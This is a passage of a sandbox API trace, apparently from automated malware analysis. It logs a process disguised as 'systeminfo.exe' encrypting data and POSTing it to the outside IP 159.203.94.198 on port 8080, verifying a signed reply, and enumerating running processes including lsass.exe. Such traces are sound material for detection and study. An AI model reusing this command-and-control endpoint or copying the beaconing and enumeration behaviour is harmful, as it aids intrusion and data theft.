(dwErrCode=0x0) [0081.577] GetCurrentProcessId () returned 0x81c [0082.488] GetTickCount () returned 0x239f3 [0082.488] GetTickCount () returned 0x239f3 [0082.488] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0082.488] CreateFileW (lpFileName="C:\\ProgramData\\FB70.tmp" (normalized: "c:\\programdata\\fb70.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0082.488] GetFileSize (in: hFile=0x3e4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x70 [0082.488] CloseHandle (hObject=0x3e4) returned 1 [0082.489] SetEvent (hEvent=0x3b8) returned 1 [0083.488] GetTickCount () returned 0x23dda [0084.486] GetTickCount () returned 0x241c0 [0084.486] CryptAcquireContextW (in: phProv=0xa4442c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0xa4442c*=0x3f03a8) returned 1 [0084.486] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0xa12f8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f1fd28, pcbStructInfo=0x2f1fd2c | out: pvStructInfo=0x2f1fd28, pcbStructInfo=0x2f1fd2c) returned 1 [0084.486] CryptImportKey (in: hProv=0x3f03a8, pbData=0x33b0660, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0xa44430 | out: phKey=0xa44430*=0x3db728) returned 1 [0084.486] LocalFree (hMem=0x33b0660) returned 0x0 [0084.487] CryptGenKey (in: hProv=0x3f03a8, Algid=0x660e, dwFlags=0x1, phKey=0xa44434 | out: phKey=0xa44434*=0x3db868) returned 1 [0084.487] CryptCreateHash (in: hProv=0x3f03a8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0xa44438 | out: phHash=0xa44438) returned 1 [0085.483] GetTickCount () returned 0x245a6 [0085.483] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0085.483] CreateFileW (lpFileName="C:\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0085.483] GetFileSize (in: hFile=0x3a4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x57 [0085.483] CreateFileMappingW (hFile=0x3a4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3ac [0085.483] MapViewOfFile (hFileMappingObject=0x3ac, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x390000 [0085.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x390000, cbMultiByte=87, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0085.486] CryptDuplicateHash (in: hHash=0x3db9a8, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc50 | out: phHash=0x2f1fc50) returned 1 [0085.486] CryptEncrypt (in: hKey=0x3db868, hHash=0x3db7e8, Final=1, dwFlags=0x0, pbData=0x3dc684*, pdwDataLen=0x2f1fc44*=0x76, dwBufLen=0x80 | out: pbData=0x3dc684*, pdwDataLen=0x2f1fc44*=0x80) returned 1 [0085.486] CryptExportKey (in: hKey=0x3db868, hExpKey=0x3db728, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbd4, pdwDataLen=0x2f1fc40 | out: pbData=0x2f1fbd4*, pdwDataLen=0x2f1fc40*=0x6c) returned 1 [0085.486] CryptGetHashParam (in: hHash=0x3db7e8, dwParam=0x2, pbData=0x3dc670, pdwDataLen=0x2f1fc40, dwFlags=0x0 | out: pbData=0x3dc670, pdwDataLen=0x2f1fc40) returned 1 [0085.486] CryptDestroyHash (hHash=0x3db7e8) returned 1 [0085.486] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa48, cbSize=0x2f1fc48 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc48) returned 0x0 [0085.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0085.486] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0085.486] InternetConnectW (hInternet=0xcc0010, lpszServerName="159.203.94.198", nServerPort=0x1f90, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0014 [0085.487] HttpOpenRequestW (hConnect=0xcc0014, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc0018 [0085.487] HttpSendRequestW (in: hRequest=0xcc0018, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x3dc610*, dwOptionalLength=0xf4 | out: lpOptional=0x3dc610*) returned 1 [0086.097] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x2f1fd00, lpdwBufferLength=0x2f1fc58, lpdwIndex=0x0 | out: lpBuffer=0x2f1fd00*, lpdwBufferLength=0x2f1fc58*=0x4, lpdwIndex=0x0) returned 1 [0086.098] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc48, lpdwBufferLength=0x2f1fc50, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc48*, lpdwBufferLength=0x2f1fc50*=0x4, lpdwIndex=0x0) returned 1 [0086.098] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc4c | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x2f1fc4c*=0x94) returned 1 [0086.098] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc4c | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x2f1fc4c*=0x0) returned 1 [0086.098] CryptDuplicateHash (in: hHash=0x3db9a8, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc50 | out: phHash=0x2f1fc50) returned 1 [0086.098] CryptDecrypt (in: hKey=0x3db868, hHash=0x3db7e8, Final=1, dwFlags=0x0, pbData=0x33f7d40, pdwDataLen=0x2f1fd1c | out: pbData=0x33f7d40, pdwDataLen=0x2f1fd1c) returned 1 [0086.098] CryptVerifySignatureW (hHash=0x3db7e8, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3db728, szDescription=0x0, dwFlags=0x0) returned 1 [0086.098] CryptDestroyHash (hHash=0x3db7e8) returned 1 [0086.099] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0086.099] InternetCloseHandle (hInternet=0xcc0014) returned 1 [0086.099] InternetCloseHandle (hInternet=0xcc0010) returned 1 Thread: id = 68 os_tid = 0x8c8 Thread: id = 69 os_tid = 0x788 [0066.373] GetCurrentProcessId () returned 0x81c [0066.374] GetCurrentProcessId () returned 0x81c [0066.374] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0066.374] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x758d0000 [0066.375] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0066.375] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x76c40000 [0066.375] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74b90000 [0066.375] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x75350000 [0066.375] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x74bb0000 [0066.376] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0 [0066.376] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0xa44218 | out: pszPath="C:\\ProgramData") returned 0x0 [0066.376] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0xa44218 | out: lpTempFileName="C:\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp")) returned 0xfb2f [0066.436] DeleteFileW (lpFileName="C:\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp")) returned 1 [0066.436] GetTickCount () returned 0x1fb6e [0066.436] CreateTimerQueueTimer (in: phNewTimer=0x374fda8, TimerQueue=0x0, Callback=0xa29200, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x374fda8*=0x3db6e8) returned 1 [0066.436] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0 [0086.099] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x3db6e8, CompletionEvent=0xffffffff) returned 1 [0086.099] CloseHandle (hObject=0x3b0) returned 1 [0086.100] CryptDestroyHash (hHash=0x3db728) returned 0 [0086.100] CryptDestroyKey (hKey=0x3db868) returned 1 [0086.100] CryptDestroyKey (hKey=0x3db9a8) returned 0 [0086.100] CryptReleaseContext (hProv=0x3f03a8, dwFlags=0x0) returned 1 [0086.100] DeleteFileW (lpFileName="C:\\ProgramData\\FB2F.tmp" (normalized: "c:\\programdata\\fb2f.tmp")) returned 1 Thread: id = 70 os_tid = 0x720 [0066.377] lstrlenA (lpString="just string") returned 11 [0066.377] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0066.377] GetLastError () returned 0x0 [0066.377] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0066.378] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x758d0000 [0066.378] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0066.378] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x76c40000 [0066.378] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74b90000 [0066.378] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x75350000 [0066.379] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x74bb0000 [0066.379] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b8 [0066.379] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2ad1a18 | out: pszPath="C:\\ProgramData") returned 0x0 [0066.379] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x2ad1a18 | out: lpTempFileName="C:\\ProgramData\\FB70.tmp" (normalized: "c:\\programdata\\fb70.tmp")) returned 0xfb70 [0066.450] DeleteFileW (lpFileName="C:\\ProgramData\\FB70.tmp" (normalized: "c:\\programdata\\fb70.tmp")) returned 1 [0066.450] GetTickCount () returned 0x1fb6e [0066.450] CreateTimerQueueTimer (in: phNewTimer=0x38ffef0, TimerQueue=0x0, Callback=0x2a79200, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x38ffef0*=0x3db728) returned 1 [0066.450] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0xffffffff) returned 0x0 [0082.489] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x3db728, CompletionEvent=0xffffffff) returned 1 [0082.489] CloseHandle (hObject=0x3b8) returned 1 [0082.489] CryptDestroyHash (hHash=0x3db628) returned 0 [0082.489] CryptDestroyKey (hKey=0x3db868) returned 1 [0082.489] CryptDestroyKey (hKey=0x3db928) returned 0 [0082.489] CryptReleaseContext (hProv=0x3f03a8, dwFlags=0x0) returned 1 [0082.489] DeleteFileW (lpFileName="C:\\ProgramData\\FB70.tmp" (normalized: "c:\\programdata\\fb70.tmp")) returned 1 Thread: id = 71 os_tid = 0x644 [0066.379] lstrlenA (lpString="just string") returned 11 [0066.379] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0066.379] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0066.380] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x758d0000 [0066.380] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0066.380] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x76c40000 [0066.380] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74b90000 [0066.380] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x75350000 [0066.381] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x74bb0000 [0066.381] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b4 [0066.381] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0xa6ea18 | out: pszPath="C:\\ProgramData") returned 0x0 [0066.381] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0xa6ea18 | out: lpTempFileName="C:\\ProgramData\\FB6F.tmp" (normalized: "c:\\programdata\\fb6f.tmp")) returned 0xfb6f [0066.436] DeleteFileW (lpFileName="C:\\ProgramData\\FB6F.tmp" (normalized: "c:\\programdata\\fb6f.tmp")) returned 1 [0066.436] GetTickCount () returned 0x1fb6e [0066.436] CreateTimerQueueTimer (in: phNewTimer=0x3b0fdf0, TimerQueue=0x0, Callback=0xa593b0, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x3b0fdf0*=0x3db6a8) returned 1 [0066.436] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0 [0080.492] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x3db6a8, CompletionEvent=0xffffffff) returned 1 [0080.492] CloseHandle (hObject=0x3b4) returned 1 [0080.492] CryptDestroyHash (hHash=0x3db768) returned 0 [0080.492] CryptDestroyKey (hKey=0x3db868) returned 1 [0080.492] CryptDestroyKey (hKey=0x3db8a8) returned 0 [0080.492] CryptReleaseContext (hProv=0x3f03a8, dwFlags=0x0) returned 1 [0080.492] DeleteFileW (lpFileName="C:\\ProgramData\\FB6F.tmp" (normalized: "c:\\programdata\\fb6f.tmp")) returned 0 Thread: id = 72 os_tid = 0x51c [0066.381] GetLastError () returned 0x0 [0066.381] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0066.382] LoadLibraryW (lpLibFileName="mpr.dll") returned 0x741e0000 [0066.391] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x741c0000 [0066.509] LoadLibraryW (lpLibFileName="SAMCLI.DLL") returned 0x74170000 [0066.518] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74b90000 [0066.518] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x74bb0000 [0066.518] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3e4 [0066.518] GetTickCount () returned 0x1fbbc [0066.518] CreateTimerQueueTimer (in: phNewTimer=0x3cdf8b8, TimerQueue=0x0, Callback=0x3944f0, Parameter=0x0, DueTime=0x3e8, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x3cdf8b8*=0x3db7e8) returned 1 [0066.518] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0xffffffff) returned 0x0 [0081.884] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x3db7e8, CompletionEvent=0xffffffff) returned 1 [0081.884] CloseHandle (hObject=0x3e4) returned 1 Thread: id = 75 os_tid = 0x968 [0069.116] GetTickCount () returned 0x205ca [0069.116] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3e0f6d0, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0069.242] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0069.242] GetCurrentProcessId () returned 0x81c [0069.242] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0069.244] GetCurrentProcessId () returned 0x81c [0069.244] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.245] GetCurrentProcessId () returned 0x81c [0069.245] lstrlenA (lpString="just string") returned 11 [0069.245] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.245] GetCurrentProcessId () returned 0x81c [0069.245] GetLastError () returned 0x0 [0069.245] lstrcpyW (in: lpString1=0x33b4dac, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0069.245] GetCurrentProcessId () returned 0x81c [0069.245] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.246] GetCurrentProcessId () returned 0x81c [0069.246] lstrlenA (lpString="just string") returned 11 [0069.246] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.246] GetCurrentProcessId () returned 0x81c [0069.246] GetLastError () returned 0x0 [0069.246] lstrcpyW (in: lpString1=0x33b4fd4, lpString2="System" | out: lpString1="System") returned="System" [0069.246] GetCurrentProcess () returned 0xffffffff [0069.246] GetLastError () returned 0x0 [0069.246] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6707P") returned 7 [0069.246] SetLastError (dwErrCode=0x0) [0069.246] GetCurrentProcessId () returned 0x81c [0069.246] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.247] GetLastError () returned 0x0 [0069.247] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6708P") returned 7 [0069.247] SetLastError (dwErrCode=0x0) [0069.247] GetCurrentProcessId () returned 0x81c [0069.247] GetCurrentProcessId () returned 0x81c [0069.247] GetCurrentProcessId () returned 0x81c [0069.247] GetCurrentProcessId () returned 0x81c [0069.247] lstrcpyW (in: lpString1=0x33b51fc, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0069.247] GetCurrentProcessId () returned 0x81c [0069.247] lstrlenA (lpString="just string") returned 11 [0069.247] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.247] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.248] GetLastError () returned 0x0 [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] lstrcpyW (in: lpString1=0x33b5424, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] lstrlenA (lpString="just string") returned 11 [0069.248] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.248] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.248] GetLastError () returned 0x0 [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] lstrcpyW (in: lpString1=0x33b564c, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0069.248] GetCurrentProcessId () returned 0x81c [0069.248] lstrlenA (lpString="just string") returned 11 [0069.248] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.249] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.249] GetLastError () returned 0x0 [0069.249] GetCurrentProcessId () returned 0x81c [0069.249] GetCurrentProcessId () returned 0x81c [0069.249] GetCurrentProcessId () returned 0x81c [0069.249] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.250] lstrlenA (lpString="just string") returned 11 [0069.250] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.250] GetLastError () returned 0x0 [0069.250] GetCurrentProcessId () returned 0x81c [0069.250] lstrcpyW (in: lpString1=0x33b5874, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0069.250] GetCurrentProcessId () returned 0x81c [0069.250] GetCurrentProcessId () returned 0x81c [0069.250] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.250] lstrlenA (lpString="just string") returned 11 [0069.250] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.250] GetLastError () returned 0x0 [0069.250] GetCurrentProcessId () returned 0x81c [0069.250] lstrcpyW (in: lpString1=0x33b5a9c, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0069.250] GetLastError () returned 0x0 [0069.251] lstrcmpA (lpString1="8", lpString2="luck") returned -1 [0069.251] SetLastError (dwErrCode=0x0) [0069.251] GetCurrentProcess () returned 0xffffffff [0069.251] GetLastError () returned 0x0 [0069.251] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E677EP") returned 7 [0069.251] SetLastError (dwErrCode=0x0) [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.251] GetCurrentProcess () returned 0xffffffff [0069.251] GetLastError () returned 0x0 [0069.251] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E677FP") returned 7 [0069.251] SetLastError (dwErrCode=0x0) [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] GetLastError () returned 0x0 [0069.251] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E6780P") returned 7 [0069.251] SetLastError (dwErrCode=0x0) [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] lstrcpyW (in: lpString1=0x33b5cc4, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] GetCurrentProcessId () returned 0x81c [0069.251] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.252] lstrlenA (lpString="just string") returned 11 [0069.252] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.252] GetLastError () returned 0x0 [0069.252] GetCurrentProcessId () returned 0x81c [0069.252] lstrcpyW (in: lpString1=0x33dfa54, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0069.252] GetLastError () returned 0x0 [0069.252] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.252] SetLastError (dwErrCode=0x0) [0069.252] GetCurrentProcess () returned 0xffffffff [0069.252] GetLastError () returned 0x0 [0069.252] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E67A6P") returned 7 [0069.252] SetLastError (dwErrCode=0x0) [0069.252] GetCurrentProcessId () returned 0x81c [0069.252] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.253] GetCurrentProcess () returned 0xffffffff [0069.253] GetLastError () returned 0x0 [0069.253] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E67A7P") returned 7 [0069.253] SetLastError (dwErrCode=0x0) [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] GetLastError () returned 0x0 [0069.253] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E67A8P") returned 7 [0069.253] SetLastError (dwErrCode=0x0) [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] lstrcpyW (in: lpString1=0x33dfc7c, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] GetCurrentProcessId () returned 0x81c [0069.253] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.254] lstrlenA (lpString="just string") returned 11 [0069.254] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.254] GetLastError () returned 0x0 [0069.254] GetCurrentProcessId () returned 0x81c [0069.254] GetCurrentProcessId () returned 0x81c [0069.254] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.254] lstrlenA (lpString="just string") returned 11 [0069.254] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.254] GetLastError () returned 0x0 [0069.254] GetCurrentProcessId () returned 0x81c [0069.254] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.255] GetCurrentProcessId () returned 0x81c [0069.255] GetCurrentProcessId () returned 0x81c [0069.255] GetCurrentProcessId () returned 0x81c [0069.255] GetCurrentProcessId () returned 0x81c [0069.255] lstrlenA (lpString="just string") returned 11 [0069.255] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.255] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, 